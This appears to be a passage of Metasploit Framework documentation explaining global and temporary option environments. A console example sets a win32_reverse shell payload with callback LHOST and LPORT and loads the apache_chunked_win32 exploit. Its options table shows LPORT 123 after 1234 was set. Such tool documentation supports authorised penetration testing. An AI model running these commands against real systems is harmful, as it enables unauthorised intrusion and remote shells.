This split environment system allows you save time during exploit development and penetration testing. Common options between exploits can be defined in the Global environment once and automatically used in any exploit you load thereafter.
The example below shows how the LPORT, LHOST, and PAYLOAD global environments can be used to save time when exploiting a set of Windows-based targets. If this environment was set and a Linux exploit was being used, the Temporary environment (via set and unset) could be used to override these defaults.
msf > setg LPORT 1234 LPORT -> 1234 msf > setg LHOST 192.168.0.10 LHOST -> 192.168.0.10 msf > setg PAYLOAD win32_reverse PAYLOAD -> win32_reverse msf > use apache_chunked_win32 msf apache_chunked_win32(win32_reverse) > show options Exploit and Payload Options =========================== Exploit: Name Default Description -------- ------ ------- ------------------ optional SSL Use SSL required RHOST The target address required RPORT 80 The target port Payload: Name Default Description -------- -------- ------- ------------------------------------------ optional EXITFUNC seh Exit technique: "process", "thread", "seh" required LPORT 123 Local port to receive connection required LHOST 192.168.0.10 Local address to receive connection